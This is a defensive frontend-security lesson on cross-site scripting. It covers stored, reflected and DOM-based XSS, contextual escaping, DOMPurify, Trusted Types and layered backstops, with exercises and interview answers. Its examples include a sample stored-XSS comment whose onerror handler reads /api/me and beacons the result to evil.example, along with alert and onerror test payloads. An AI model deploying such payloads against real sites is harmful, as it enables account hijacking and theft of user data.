Cross-site scripting (XSS)
Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.
The problem: your page runs code it never meant to
Picture a support forum for a popular app. Users post questions, other users reply, and every reply shows the author's display name next to it. One day a user changes their display name to a short piece of HTML that contains a script tag. The forum stores the name as it is and prints it into every page where that user has posted.
From then on, everyone who opens one of those threads runs the attacker's script. Nobody clicked anything strange. They opened a normal page on a site they trust, and the browser did exactly what the HTML told it to do.
This is cross-site scripting, almost always shortened to XSS. The name is old and a little misleading: nothing has to cross sites. What matters is that data from outside your app (a name, a comment, a search term, a piece of the URL) reaches the page as code instead of as text.
Why the browser cannot tell the difference
The browser's security model is built on the origin: the scheme, host, and port of a page, such as https://forum.example. Every script that runs in a page from that origin gets the same rights. It can read the page, read storage for that origin, and send requests that carry the user's cookies.
There is no second label that says "this script came from the developers" and "this one came from a user's display name". Once the attacker's code runs inside your origin, it is your code as far as the browser is concerned. Every other browser protection, such as the same-origin policy, assumes that the code inside the origin is friendly. XSS breaks that assumption from the inside.
What an attacker can do once a script runs
Many people think of XSS as "someone can show an alert box". The alert is only a test that proves code runs. Real attacks are quiet and aim at the user's data and account.
- Act as the user. A
fetch("/api/settings/email", { method: "POST", ... })from the page carries the session cookie automatically. The server sees a normal, logged-in request. The attacker can change the account email, then reset the password, and own the account. This works whether or not the cookie isHttpOnly. - Steal tokens that JavaScript can read. Anything in
localStorage,sessionStorage, or a cookie without theHttpOnlyflag can be read and sent to a server the attacker owns. With a stolen token they can keep acting as the user from their own machine, long after the tab is closed. - Read the page. Private messages, account numbers, the anti-CSRF token in a hidden form field: anything the user can see, the script can read.
- Change the page. Show a fake "your session expired, log in again" form that posts the password to the attacker, swap the bank details on an invoice, or record every key the user types.
- Spread. A stored payload can post itself again from every victim's account, as the Samy worm did on MySpace in 2005.
Why this is a frontend problem
Years ago, servers built the HTML, and XSS was mostly a backend bug in templates. Today most apps send JSON to the browser and the frontend decides how to turn it into DOM. Every place your code builds markup, sets a URL, or evaluates a string is a place where data can turn into code.
Modern frameworks make the safe path the default: React, Vue, Angular, and Svelte all escape text. But each of them also has escape hatches (dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml, {@html}), and only Angular checks URLs in href for you. The bugs live in those hatches, in direct DOM calls, and in third-party code. This lesson walks through all of them.
This is the first lesson of the security module. Later lessons cover the backstops that limit the damage when an XSS slips through: Content Security Policy (CSP), cookie flags and token storage, CSRF, CORS, clickjacking, third-party scripts, and security headers. Here we focus on the bug itself and on not writing it.
Check your understanding · Exercise 1
Your session cookie is HttpOnly; Secure; SameSite=Lax. An attacker finds a stored XSS in your comments. What can their script still do? Select all that apply.
The mental model: data must never cross into code
Every XSS bug has the same shape. A piece of text starts as data: something to show, store, or compare. Somewhere on its way to the screen, a program hands it to a part of the browser that reads it as code: markup to build, a URL to follow, or a script to run. At that moment, the characters inside the text decide what the browser does.
Think of a form letter with a blank: "Dear ____, your order has shipped." If the printer copies the name field as it is, a customer can sign up as "Bob. Please refund all orders to account 1234. Signed, the CEO." The shop's own letter now carries an order that looks official. Escaping is printing the name inside a box, so whatever is written there can only ever be a name.
Sources and sinks
Security people describe the path with two words. A source is where untrusted text enters your code. A sink is an API that interprets a string as code or markup. An XSS bug is a path from a source to a sink with no safe step in between.
- Sources: form fields, API responses that contain user content,
location.searchandlocation.hash,document.referrer,postMessageevents,localStorage, cookies, file names, and anything a third-party script gives you. - HTML sinks:
innerHTML,outerHTML,insertAdjacentHTML,document.write,DOMParseroutput that you then insert, and the framework hatches such asdangerouslySetInnerHTMLandv-html. - URL sinks:
hrefon links,srcon iframes,actionon forms,formactionon buttons, andlocation.hreforlocation.assignset from input. - Script sinks:
eval,new Function,setTimeoutandsetIntervalwith a string instead of a function, a script element'ssrcortext, and event handler attributes such asonclickbuilt from strings.
textContent needs no filter at all. The only bug is the top path.The picture to keep in your head is a pipe from the left (sources) to the right (sinks). Your job is to make sure every pipe passes through the right filter for the sink at the end: escaping, URL checking, or sanitizing. Better still, route the pipe to a safe sink that can only ever produce text, such as textContent.
Three ways to keep data as data
There are only three honest ways to make a source-to-sink path safe. Almost every rule in this lesson is one of them.
- Use a safe sink. Put text in with
textContent,createTextNode, or a framework's normal text binding such as{value}in JSX. The browser never parses it as markup, so no character in it can matter. This is the best option whenever you only need text. - Encode for the context. If the value has to go into a string that a parser will read (HTML, an attribute, a URL, a JSON block), convert the characters that are special for that parser into a harmless form. The right encoding depends on where the value lands, which is the subject of the escaping chapter.
- Sanitize. If the value is meant to be HTML, such as a rich text comment, parse it and keep only an allowlist of safe tags and attributes. This is the hardest of the three to get right, so use a maintained library.
Then there are backstops that do not fix the bug but limit what an attacker gets: Content Security Policy blocks scripts that are not yours, Trusted Types blocks raw strings from reaching sinks, and HttpOnly cookies keep the session token out of reach. Good teams use all of them. They are the subject of the last chapters and of later lessons in this module.
Check your understanding · Exercise 2
Which of these lines feed a source straight into a sink? Select all that apply.
Stored, reflected, and DOM-based XSS, step by step
XSS is split into three kinds by two questions: where does the bad text live, and which program puts it into the page? The defense is the same for all three (keep data as data), but the kinds differ in who is exposed, how the attacker delivers the payload, and which team usually owns the bug.
Stored XSS: the payload waits on your server
In stored XSS (also called persistent XSS), the attacker saves the payload through a normal feature: a comment, a product review, a profile name, a file name, a support ticket. Your server stores it in the database. Later, every user who views that data gets the payload in their page.
- The attacker posts a comment whose body contains an image tag with a broken
srcand anonerrorattribute that holds code. - The API saves the body as it is. That is fine on its own: storing text is not the bug.
- A reader opens the thread. The client fetches the comments as JSON and renders each body with
innerHTMLso that line breaks show up. - The browser parses the body as HTML, creates the image, fails to load it, and runs the
onerrorhandler. The code now runs in the reader's session.
{
"id": 8812,
"author": "mallory",
"body": "Great post! <img src=x onerror=\"fetch('/api/me').then(r=>r.text()).then(t=>navigator.sendBeacon('https://evil.example/c',t))\">"
}
body into an HTML sink.Stored XSS is the most dangerous kind because the victim does nothing unusual: they open a page they trust. It can also reach staff. A payload in a support ticket runs when an agent opens it in the admin tool, which often has far more power than a normal user account.
Reflected XSS: the payload rides in a link
In reflected XSS, nothing is stored. The payload sits in the request itself, usually in a query parameter, and the server copies it straight into the HTML it sends back. A search page that prints "No results for" followed by the raw q parameter is the classic example.
The attacker has to get the victim to send that request: a link in an email, a chat message, an ad, or a hidden iframe on another site. The URL points at your real domain, so it looks safe, and the payload is often URL-encoded so that it looks like noise.
GET /search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: shop.example
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<h1>No results for <script>alert(document.domain)</script></h1>
Reflected XSS was the most common kind in server-rendered sites. It is still alive in error pages, login redirects ("you will be sent back to ..."), and server-rendered frameworks where someone builds HTML with string concatenation instead of the template engine.
DOM-based XSS: the server never sees it
In DOM-based XSS, the whole path from source to sink lives in your client-side JavaScript. The server sends the same safe page to everyone. Then your code reads something the attacker controls, such as location.hash, and writes it into a sink.
// https://app.example/help#Getting%20started
const topic = decodeURIComponent(location.hash.slice(1));
heading.innerHTML = "Help: " + topic; // the bug
// The same page, with a crafted link:
// https://app.example/help#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
# is never sent to the server, so server logs, server-side filters, and many scanners never see this payload.This kind is the one frontend engineers own completely, and single-page apps make it far more common than it used to be. The server returns JSON, and your code decides how to build the DOM. Every innerHTML, every href set from data, and every postMessage handler in your bundle is a candidate.
| Question | Stored | Reflected | DOM-based |
|---|---|---|---|
| Where the payload lives | Your database or files | The current request URL or form | The browser: URL fragment, postMessage, storage |
| Who builds the bad markup | Server template or client code | Server template | Client JavaScript only |
| How the victim is reached | They open a normal page | They click a crafted link | They click a crafted link or open a page that sends a message |
| Seen by the server | Yes, when saved | Yes, in the request | Often never (fragment) or only as data |
| Who usually fixes it | Whoever renders it | Backend or SSR code | Frontend team |
Check your understanding · Exercise 3
A chat app shows a preview of shared links. The preview title comes from the linked page's title tag, fetched by the server and saved with the message. The client inserts it with innerHTML. Which statements are true? Select all that apply.
Escaping depends on where the text lands
Escaping, also called output encoding, replaces characters that are special to a parser with a form the parser reads as plain characters. In HTML text, < becomes <, so the browser shows a less-than sign instead of starting a tag.
The catch is that a page is not one language. It is HTML with attributes inside it, URLs inside those, JavaScript inside script blocks and handlers, and CSS inside style blocks. Each has its own special characters and its own way to break out. A value escaped for one context can be completely unsafe in another.
javascript: URL has nothing to escape, and handler attributes are decoded before the JavaScript runs.HTML text between tags
Between tags, the parser looks for < to start a tag and & to start a character reference. Escape & to &, < to <, and > to >. Most libraries also escape " and ' so that the same function is safe in quoted attributes. With those five replaced, no text can open a tag here.
const HTML_ESCAPES: Record<string, string> = {
"&": "&",
"<": "<",
">": ">",
'"': """,
"'": "'",
};
export function escapeHtml(text: string): string {
return text.replace(/[&<>"']/g, (ch) => HTML_ESCAPES[ch]);
}
// escapeHtml('Tom & "Jerry" <3') === 'Tom & "Jerry" <3'
& must be handled, or text that already looks like < is shown wrongly. You rarely write this yourself: templates and frameworks do it.Inside an attribute value
Always put attribute values in quotes, then escape the quote character as well as the five above. An unquoted value ends at the first space, so value={name} with a name of x onfocus=... adds a brand-new attribute without using any of the five escaped characters.
Two attribute families need more than escaping. Event handler attributes such as onclick hold JavaScript, and the browser decodes HTML entities before it runs them: " turns back into " before the JavaScript parser sees it. URL attributes such as href and src hold URLs, covered next. Never put outside data in the first family, and check the second.
Inside a URL
There are two different jobs here. When a value is one part of a URL, such as a search term in ?q=, encode it with encodeURIComponent so that &, #, and / cannot change the URL's structure. When the value is the whole URL, such as a user's website on their profile, encoding is not enough.
A link to javascript:alert(1) contains nothing that HTML escaping changes. It passes through every escape function untouched and runs when clicked.
The browser also forgives a lot in the scheme: it ignores case, strips leading spaces and control characters, and removes tab or newline characters anywhere in the word. So never test the raw string with a regular expression. Parse it with new URL and allow a short list of schemes.
const SAFE_SCHEMES = new Set(["https:", "http:", "mailto:"]);
export function safeHref(input: string): string {
try {
const url = new URL(input, location.origin);
return SAFE_SCHEMES.has(url.protocol) ? url.href : "about:blank";
} catch {
return "about:blank"; // not a URL at all
}
}
new URL applies the same clean-up rules the browser uses, so url.protocol is what the browser would really follow. Allow schemes; never try to list the bad ones.Inside a script block
Server-rendered apps often inline data for the client, such as the initial state of a store. The tempting way is to paste JSON.stringify(state) into a script tag. The trap is that the HTML parser, not the JavaScript parser, decides where a script block ends. It stops at the first </script it sees, even inside a JavaScript string.
JSON.stringify does not escape <. So a product name containing a closing script tag ends the block early, and whatever follows is parsed as fresh HTML.
The fix is to escape < as \u003c (and usually >, &, U+2028, and U+2029 too) after stringifying. Putting the JSON in a script type="application/json" block and reading it with JSON.parse(el.textContent) keeps it from running as code, but the block still ends at </script, so it needs the same escaping. Frameworks that inline state, such as Next.js, do this escaping for you; hand-written templates often do not.
Inside CSS
Modern browsers no longer run JavaScript from CSS (old Internet Explorer had expression()), but CSS injection is still harmful. Injected rules can cover the page with a fake form, and attribute selectors with background-image: url(...) can leak an input's value attribute, such as a CSRF token, one character at a time to the attacker's server. Do not put free text into styles. Map input to a fixed list instead: a theme name to a color, a size name to a number.
| Context | Example | Breaks out with | What to do |
|---|---|---|---|
| HTML text | <p>{name}</p> | < to start a tag | Escape & < > " '. Frameworks do it for you. |
| Quoted attribute | <input value="{v}"> | " to close the value | Escape the same five, always quote. |
| Event handler | onclick="go('{v}')" | Entities are decoded before the JS runs | Never put data here. Attach listeners in code. |
| URL attribute | <a href="{url}"> | A javascript: scheme, no special chars | Parse with new URL, allow https:, http:, mailto:. |
| Script block | <script>s = {json}</script> | </script> inside a string | Escape < as \u003c after JSON.stringify. |
| CSS | style="color: {c}" | ; and } to add rules | Avoid. Map input to a fixed list of values. |
Check your understanding · Exercise 4
A server template builds <a href="{{ website }}" title="{{ name }}">, and the template engine HTML-escapes every value. Which inputs are still dangerous? Select all that apply.
innerHTML, dangerouslySetInnerHTML, and what frameworks protect
Most XSS in modern apps comes from a short list of APIs. Knowing exactly what each one does with a string is what lets you review code quickly and confidently.
What innerHTML really does
Setting el.innerHTML = str runs the full HTML parser on str, builds the elements, and puts them inside el. One detail surprises people: script elements inserted through innerHTML do not run. The HTML standard marks them as already started. That is why simple tests with a script tag "prove" a page is safe when it is not.
Attackers do not need script tags. An image with a broken src and an onerror attribute runs its handler as soon as the load fails. An SVG with onload, a details element with open and ontoggle, an iframe with a srcdoc, and a link with a javascript: href all work through innerHTML. Any sink that parses HTML is a script sink.
| Sink | Runs inline scripts? | Runs event handlers? | Safe twin |
|---|---|---|---|
el.innerHTML = s | No | Yes | el.textContent = s |
el.insertAdjacentHTML(pos, s) | No | Yes | el.insertAdjacentText(pos, s) |
document.write(s) | Yes | Yes | Build nodes with createElement |
range.createContextualFragment(s) | Yes, once inserted | Yes | createElement plus append |
jQuery $(el).html(s) | Yes, jQuery evaluates them | Yes | $(el).text(s) |
eval(s), new Function(s), setTimeout(s) | It is a script | n/a | Pass a function, parse data with JSON.parse |
Why React text is safe
In JSX, {comment.body} is always text. On the client, React puts it in a text node, which the browser never parses as markup. During server rendering, React escapes the same characters an HTML escaper would.
Attribute values are set with the DOM's attribute APIs, so a value cannot close its quote and add a new attribute. Vue templates, Angular templates, Svelte, and Solid behave the same way for text.
React also protects against a subtler trick. A React element is a plain object, so an attacker might try to send one in JSON. React only accepts objects whose $$typeof field is a special Symbol, and JSON cannot contain symbols. So data from an API cannot pretend to be a component tree.
Where React does not protect you
dangerouslySetInnerHTML. It isinnerHTMLwith a long name. React hands the__htmlstring to the browser's parser without looking at it. The name is a warning, not a filter.- URLs in
href,src,action,formAction. Escaping does nothing to ajavascript:URL. React 16.9 started warning about such URLs, and React 19 replaces ajavascript:URL in these props with one that only throws an error. Do not rely on that: older React versions, other frameworks, and non-React code are not covered, and a URL that leads to the wrong place is a bug anyway. Validate with a scheme allowlist. - Refs and effects that touch the DOM.
ref.current.innerHTML = htmlinside auseEffectbypasses React completely. - Spreading untrusted objects as props.
{...userSettings}on an element lets JSON data set any prop, includingdangerouslySetInnerHTMLorhref. Pick the fields you need by name. - Third-party components that take an HTML string, such as some Markdown, chart tooltip, and rich text components. Read their docs for whether they sanitize.
function Comment({ c }: { c: ApiComment }) {
return (
<article>
{/* safe: text binding */}
<h4>{c.authorName}</h4>
{/* safe only because safeHref allows https, http, mailto */}
<a href={safeHref(c.authorWebsite)} rel="ugc nofollow noopener">website</a>
{/* the risky line: needs a sanitizer and a reason */}
<div dangerouslySetInnerHTML={{ __html: sanitizeComment(c.bodyHtml) }} />
</article>
);
}
The same hatches in other frameworks
Each major framework has one obvious HTML hatch. Vue has v-html, Svelte has {@html ...}, Solid has the innerHTML prop, and Lit has the unsafeHTML directive. None of these sanitize.
Angular is the exception: values bound to [innerHTML] pass through Angular's built-in sanitizer, and only bypassSecurityTrustHtml and its siblings skip it. Search your codebase for every hatch by name; each match needs a sanitizer and a short comment explaining why HTML is needed.
Check your understanding · Exercise 5
Your app runs React 18. Which of these snippets can run attacker code if data comes from user input? Select all that apply.
When users need formatting: sanitize with DOMPurify
Sometimes text is not enough. A help center article, a rich text comment, a product description from a seller, or an email body really is HTML, and escaping would show the tags as text. Here you need the third defense: sanitizing. A sanitizer parses the HTML, walks the tree, keeps only tags and attributes on an allowlist, drops everything else, and gives you back markup that can only format text.
First, do you need HTML at all?
Decision Users need bold, links, and lists in their comments. How do you store and render them?
What we pick: Default to plain text. For comments and descriptions, Markdown with raw HTML off plus DOMPurify is the best balance. Use editor HTML plus a strict allowlist when users need real formatting. For whole documents you do not control, such as emails or user-authored pages, use a sandboxed frame on another origin (this is why many mail and code-sharing products serve user content from a separate domain).
How DOMPurify works
DOMPurify is the standard HTML sanitizer for browsers, maintained by Cure53, a security firm. It does not use regular expressions on the markup. It hands the string to the browser's own HTML parser (through DOMParser or a template element), so it sees exactly the tree the page would build. Then it walks every node, removes what is not allowed, and serializes the result.
javascript: target.Out of the box it removes script, iframe, object, and similar elements, every on* event handler attribute, and URLs whose scheme is not on its safe list (javascript: is never allowed). The default allowlist is generous, though: it keeps most formatting tags, style attributes, class, id, SVG, and MathML. For user content, narrow it.
import DOMPurify from "dompurify";
const COMMENT_CONFIG = {
ALLOWED_TAGS: ["p", "br", "b", "strong", "i", "em", "a", "ul", "ol", "li", "code", "pre", "blockquote"],
ALLOWED_ATTR: ["href"],
ALLOWED_URI_REGEXP: /^(?:https?:|mailto:)/i,
};
DOMPurify.addHook("afterSanitizeAttributes", (node) => {
if (node.tagName === "A") {
node.setAttribute("rel", "ugc nofollow noopener noreferrer");
node.setAttribute("target", "_blank");
}
});
export function sanitizeComment(html: string): string {
return DOMPurify.sanitize(html, COMMENT_CONFIG);
}
The settings that matter
ALLOWED_TAGSandALLOWED_ATTRreplace the defaults with your list. This is the safest way to configure it. A common mistake is usingADD_TAGSto allowiframe"just for YouTube embeds", which allows every iframe.ALLOWED_URI_REGEXPdecides which URLs survive inhrefandsrc. Tighten it to the schemes you need.styleandclass. Inline styles cannot run script in modern browsers, but they can overlay the whole page with a fake dialog. Classes can pull in your own app's styles, such as a full-screen modal class. Leave both out of user content unless you need them.idandname. These can cause DOM clobbering: an element withid="config"becomes reachable aswindow.configand can confuse code that reads globals. DOMPurify blocks the worst names by default (SANITIZE_DOM), andSANITIZE_NAMED_PROPSprefixes every id and name withuser-content-. Simplest is not to allow them.RETURN_TRUSTED_TYPE: truereturns aTrustedHTMLobject instead of a string, which plugs straight into Trusted Types (next chapter).
Mutation XSS and other ways sanitizers fail
HTML parsing has strange corners. Some markup changes shape when it is parsed, serialized back to a string, and parsed again, for example around noscript, svg, math, and style elements, which switch the parser into different modes. An attacker crafts input that looks harmless to the sanitizer's parse but turns into an event handler after the page's parse. This is called mutation XSS, or mXSS.
- Keep DOMPurify updated. Several mXSS bypasses have been found and fixed over the years. Treat sanitizer updates like security patches.
- Sanitize last, insert at once. Do not sanitize and then pass the string through another library, template, or string replace before inserting it. Any change after sanitizing can undo it.
- Sanitize where the HTML is rendered. Sanitizing on the server with a different parser (or with jsdom) is a fine extra layer, but the browser's parser is the one that counts, and stored data may predate your sanitizer. Sanitize on output in the client too.
- Never write your own sanitizer with regular expressions or a blocklist of tag names. Every such filter has been bypassed.
Browsers are adding a built-in Sanitizer API: el.setHTML(input) parses, sanitizes with a safe default, and inserts in one step, so there is no string in between to mutate. It is new and support differs between browsers, so check current support and keep DOMPurify as the fallback for now.
Check your understanding · Exercise 6
You render seller product descriptions (HTML from a rich text editor) with DOMPurify's default settings. Which changes reduce risk? Select all that apply.
Trusted Types: let the browser refuse raw strings
Everything so far depends on every developer remembering every rule at every sink. In a codebase with 400 contributors and 2,000 dependencies, someone will forget. Trusted Types turns the rule into something the browser enforces: once enabled, DOM sinks refuse plain strings and accept only special typed objects that your own reviewed code created.
How it works
You turn it on with a Content Security Policy directive, sent as a response header on your HTML. From then on, assigning a string to innerHTML (or any other HTML, script, or script URL sink) throws a TypeError instead of parsing it, and the browser can send a violation report.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types app-html dompurify
require-trusted-types-for 'script' turns enforcement on. trusted-types lists the policy names allowed to be created, so a stray library cannot make its own way around the rule.To put HTML into a sink, code must pass a TrustedHTML object. The only way to make one is through a policy: a named object created once with trustedTypes.createPolicy, whose functions turn strings into typed values. Your policy is where the sanitizer lives.
import DOMPurify from "dompurify";
const htmlPolicy = window.trustedTypes?.createPolicy("app-html", {
createHTML: (input: string) => DOMPurify.sanitize(input, COMMENT_CONFIG),
});
export function setSafeHtml(el: Element, html: string) {
if (htmlPolicy) {
el.innerHTML = htmlPolicy.createHTML(html) as unknown as string;
} else {
el.innerHTML = DOMPurify.sanitize(html, COMMENT_CONFIG); // browsers without Trusted Types
}
}
// Anywhere else in the app, with enforcement on:
// el.innerHTML = userText; // throws TypeError: requires 'TrustedHTML' assignment
innerHTML with a string fails loudly in development and in production.Three types for three kinds of sink
TrustedHTMLfor HTML sinks:innerHTML,outerHTML,insertAdjacentHTML,document.write,DOMParser.parseFromString, an iframe'ssrcdoc.TrustedScriptfor sinks that run code from a string:eval,new Function, string timers, a script element's text.TrustedScriptURLfor URLs that load script: a script element'ssrc,new Worker(url),importScripts. A policy here usually checks the URL against an allowlist of your own origins.
Links are a special case. Setting a link's href is not a Trusted Types sink, so any string is accepted.
With enforcement on, the browser instead checks when a javascript: URL is about to run: it passes the code to the default policy if there is one, and blocks it otherwise. Treat that as a backstop and still check schemes in code, because a strict CSP without 'unsafe-inline' is the other half of the defense. The CSP lesson covers that side.
script.src case: a TrustedHTML value is the wrong type there, because script URLs need TrustedScriptURL. Each type only opens its own kind of sink.Rolling it out without breaking the app
- Report only. Send the directive in a
Content-Security-Policy-Report-Onlyheader with areport-toendpoint. Nothing breaks; every string reaching a sink is reported with a sample and a stack location. - Fix the reports. Replace each one with a safe sink (
textContent), a typed value from your policy, or a library upgrade. Many popular libraries already support Trusted Types: DOMPurify can returnTrustedHTMLdirectly, and Angular and Lit work with it. - Use a default policy as a bridge. A policy named
defaultis called for any plain string that reaches a sink, so you can sanitize or log it instead of throwing. It is a migration tool: keep it strict and remove it when the reports stop. - Enforce. Switch to the enforcing header. New code that writes a string to a sink now fails in development, before review.
Browser support
Chromium browsers (Chrome, Edge, Opera, Samsung Internet) have supported Trusted Types since version 83 in 2020. Safari added support in Safari 26 (2025), and Firefox enabled it by default in early 2026 (version 148). Browsers that do not support it ignore the directive, so the app still works; those users just lose the backstop. There is a polyfill, but most teams rely on native support and keep sanitizing in code either way.
Check your understanding · Exercise 7
Your app sends require-trusted-types-for 'script' and has one policy that sanitizes with DOMPurify. What happens? Select all that apply.
Where XSS hides, and the layers that catch it
Teams that fix the obvious innerHTML calls still ship XSS, because the bug moves to places nobody thinks of as rendering. These are the ones that show up again and again in bug bounty reports.
- Uploaded files served from your origin. An SVG can contain script, and opening the file URL directly runs it on your domain. Serve uploads from a separate domain, with
Content-Disposition: attachmentfor unknown types andX-Content-Type-Options: nosniff. postMessagehandlers that skip theevent.origincheck and writeevent.datainto the DOM. Any page that can open or frame yours can send the message.- Redirect parameters such as
?next=passed tolocation.href. Ajavascript:value is DOM XSS; an outside URL is an open redirect (see the input validation lesson). - Client-side template injection. Old AngularJS apps evaluated
{{ }}expressions found anywhere in server-rendered HTML, so plain text containing braces became code. The rule generalizes: never let user text reach a template compiler. - Error and empty states that echo input: "No results for ...", "User ... not found", toast messages built with HTML strings.
- Third-party code with its own sinks: chat widgets, analytics tag managers, and old jQuery plugins. Their bugs run in your origin too (see the third-party scripts lesson).
Layers: each one catches what the last missed
No single control is enough, so strong apps stack them. The first layers stop the bug; the later ones shrink what an attacker gets if a bug slips through. Real incidents show why: in 2005 the Samy worm reached over a million MySpace profiles in about a day, and in 2014 a TweetDeck XSS spread as a tweet that retweeted itself tens of thousands of times within hours. A strict CSP would most likely have kept both injected scripts from running.
- Safe rendering by default: a framework that escapes text, plus lint rules against raw sinks.
- Context-aware handling at each sink: URL scheme checks, JSON escaping in script blocks, DOMPurify for the HTML that must be HTML.
- Trusted Types: the browser rejects strings at DOM sinks, so new bugs fail in development.
- Content Security Policy with nonces or hashes: injected inline scripts and handlers do not run, even when markup gets in.
- Limit the blast radius:
HttpOnlysession cookies so tokens cannot be read, re-authentication for sensitive actions such as changing the email or password, and untrusted content on a separate origin. - Detect: CSP and Trusted Types violation reports, a bug bounty, and automated scanning in CI.
Check your understanding · Exercise 8
A stored XSS slips through in a comment widget. Which layers still reduce the damage? Select all that apply.
XSS in a system design interview
XSS comes up whenever a design shows content from one user to another: comments, chat, reviews, profiles, rich text editors, dashboards with user-named widgets, and anything that embeds HTML or Markdown. You do not need a separate security section. Mention it at the point in the design where user content is rendered, in one or two sentences, then move on unless the interviewer digs in.
A good short version: "Message bodies are plain text rendered with text bindings, so the framework escapes them. Links go through a scheme allowlist. If we add rich text, we store the editor's HTML, sanitize it with DOMPurify and a strict allowlist right before rendering, and enforce Trusted Types plus a nonce-based CSP as backstops. Sessions are HttpOnly cookies, and email or password changes ask for the password again."
- Junior and mid-level: know the three kinds, know that frameworks escape text, and name
dangerouslySetInnerHTMLandjavascript:links as the gaps. - Senior: escape by context, sanitize with an allowlist on output, explain why
HttpOnlydoes not stop actions, and add CSP as a layer. - Staff: make the safe path the only path: one sanitizing component, lint rules, Trusted Types with a report-only rollout, user content on a separate origin, and violation reports wired to alerts.
Summary
- XSS is outside text reaching a sink that reads it as code. The browser cannot tell the attacker's script from yours, so it gets every right your page has.
- Once a script runs, the attacker can act as the user even with
HttpOnlycookies.HttpOnlyonly stops the token from being read and taken away. - Stored, reflected, and DOM-based XSS differ in where the payload lives; in single-page apps the DOM-based kind and client-side sinks matter most.
- Prefer safe sinks such as text bindings and
textContent. When a value must go into markup, encode it for that exact context, at output time. - Frameworks escape text, but most do not check URLs or sanitize their HTML hatches (Angular is the exception). Check
hrefschemes withnew URLand an allowlist, and treatdangerouslySetInnerHTMLlikeinnerHTML. - When HTML is really needed, sanitize it in the browser with DOMPurify and a short allowlist, right before inserting, and keep the library updated.
- Trusted Types makes the browser reject strings at DOM sinks, so all HTML creation goes through one reviewed policy. Roll it out in report-only mode first.
- Stack the layers: safe rendering, sanitizing, Trusted Types, a strict CSP,
HttpOnlycookies, re-authentication for sensitive actions, and violation reporting.
In the interview
Questions interviewers ask about this. Answer each out loud first, then compare.
Question 1
React escapes everything, so a React app cannot have XSS. True?
No. React escapes text and sets attributes safely, which removes the most common bug. But dangerouslySetInnerHTML passes a string straight to the HTML parser, URL props such as href accept javascript: URLs before React 19 (React 19 swaps them for a URL that only throws), refs and effects can write innerHTML directly, and spreading untrusted objects as props can set any of those.
Third-party components and non-React code on the page have their own sinks too. So you still need URL scheme checks, a sanitizer for any HTML, lint rules, and backstops like CSP and Trusted Types.
Question 2
Our session cookie is HttpOnly. How bad is an XSS bug for us?
Still very bad. The script cannot read the cookie, but it runs in our origin, so every request it sends carries the cookie automatically. It can read private data on the page, call our APIs as the user, change the account email, and show fake login forms. The damage lasts as long as the tab is open, instead of until the token expires.
To shrink it further: ask for the password before sensitive changes, keep tokens out of localStorage, and add a strict CSP so injected script does not run at all.
Question 3
How would you let users write rich text comments safely?
First ask whether Markdown or plain text with auto-linking is enough, because no HTML is the safest HTML. If we need HTML, store what the editor produces and sanitize on output in the browser with DOMPurify, using a short ALLOWED_TAGS and ALLOWED_ATTR list and a URL allowlist for links, plus a hook that adds rel attributes.
Insert the result straight away, with nothing changing it after sanitizing, through a single component. Enforce Trusted Types with the sanitizer inside the policy, keep DOMPurify updated, and add a nonce-based CSP. For full HTML documents such as emails, render them in a sandboxed frame on a separate origin.
Question 4
What is the difference between escaping and sanitizing, and when do you use each?
Escaping turns special characters into a form the parser shows as text, so the value can never become markup. It is for values that are text: names, titles, search terms. The encoding depends on the context: HTML text, attribute, URL part, or script block.
Sanitizing parses HTML and removes everything not on an allowlist, keeping the safe formatting. It is for values that really are HTML. Escaping is simple and complete; sanitizing is complex and needs a maintained library, so prefer escaping whenever the product allows it.
Question 5
What does Trusted Types add if we already sanitize?
Sanitizing works only where someone remembered to call it. Trusted Types makes the browser enforce it: with require-trusted-types-for 'script', assigning a plain string to innerHTML or similar sinks throws. The only way in is a typed value from a named policy, and the policy is where the sanitizer lives. Code review shrinks from every sink in the app to a few policies.
Roll it out with a report-only header first, fix or wrap each reported sink, then enforce. It is supported in Chromium, Safari, and Firefox now, and older browsers simply ignore it, so keep sanitizing in code as well.
Practice it
These design problems lean on cross-site scripting (xss).
- Design report exportEasy
- Design an autocompleteMedium
- Design a file uploaderMedium
- Design an @-mention inputMedium
- Design a markdown editor with live previewMedium
- Design a nested comments threadMedium
- Design sign up and sign inMedium
- Design a CSV import with column mappingMedium
- Design an internationalization systemMedium
- Design an LLM chat interface with streaming answersMedium
- Design Stack OverflowMedium
- Design a rich text editorHard
- Design a drag-and-drop form builderHard
- Design live comments for a sports streamHard
- Design RedditHard
- Design GmailHard
- Design an online code playground like CodePenHard
- Design a web-based terminalHard
- Design a log viewer for millions of linesHard
- Design a browser extensionHard
- Design a writing assistant like GrammarlyHard
References
- MDN: Cross-site scripting (XSS) The attack, its kinds, and the defenses, with examples.
- OWASP Cross Site Scripting Prevention Cheat Sheet Encoding rules for each output context.
- OWASP DOM based XSS Prevention Cheat Sheet Sources, sinks, and safe DOM APIs.
- DOMPurify on GitHub The sanitizer's documentation, settings, and hooks.
- web.dev: Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types How Trusted Types works and how to roll it out.
- MDN: Trusted Types API The API, the sinks it guards, and browser support.
- React docs: dangerouslySetInnerHTML What React does and does not do with raw HTML.
Read next
- Content Security PolicyA response header that tells the browser which scripts, frames, and connections a page may use, so an injected script is blocked even when an XSS bug slips through.
- Authentication and token storageHow a web app proves who the user is on every request after login: sessions or tokens, where the proof lives in the browser, how it is refreshed and revoked, and how OAuth with PKCE and OIDC fit in.
- Third-party scripts and supply chainEvery script you load from a vendor and every package you install runs with your page's full power, so you pick them carefully, pin and verify them, isolate what you can, and pay attention to what they cost in speed and privacy.
- Validating and sanitizing inputChecks in the browser make forms friendly; checks on the server keep the data and the system safe, from file uploads to redirect URLs to the URLs your server fetches for users.
- Cross-site request forgery (CSRF)An attack where another site makes the user's own browser send a request to your app, with the user's cookies attached, so the app thinks the user asked for it. SameSite cookies, tokens, and origin checks stop it.
- Security headersA handful of response headers that switch on browser defenses your code can't build itself: force HTTPS, stop content sniffing, trim the Referer, turn off powerful features, and isolate your page from other origins.